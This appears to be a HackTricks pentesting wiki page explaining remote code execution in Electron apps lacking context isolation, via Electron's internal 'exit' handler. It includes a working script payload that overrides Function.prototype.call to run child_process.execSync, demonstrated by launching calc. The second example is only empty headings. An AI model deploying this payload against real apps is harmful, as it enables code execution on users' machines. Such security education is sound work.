hacktricks/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md

Electron contextIsolation RCE via Electron internal code

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Example 1

Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41

"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:

process.on("exit", function () {
  for (let p in cachedArchives) {
    if (!hasProp.call(cachedArchives, p)) continue
    cachedArchives[p].destroy()
  }
})

{{#ref}} 664c184fcb/lib/common/asar.js (L30-L36) {{#endref}}

8a44289089/bin/events.js (L156-L231) -- No longer exists

Then it goes here:

Where "self" is Node's process object:

The process object has a references to "require" function:

process.mainModule.require

As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:

<script>
  Function.prototype.call = function (process) {
    process.mainModule.require("child_process").execSync("calc")
  }
  location.reload() //Trigger the "exit" event
</script>

Example 2

Get require object from prototype pollution. From https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

Leak:

Exploit:

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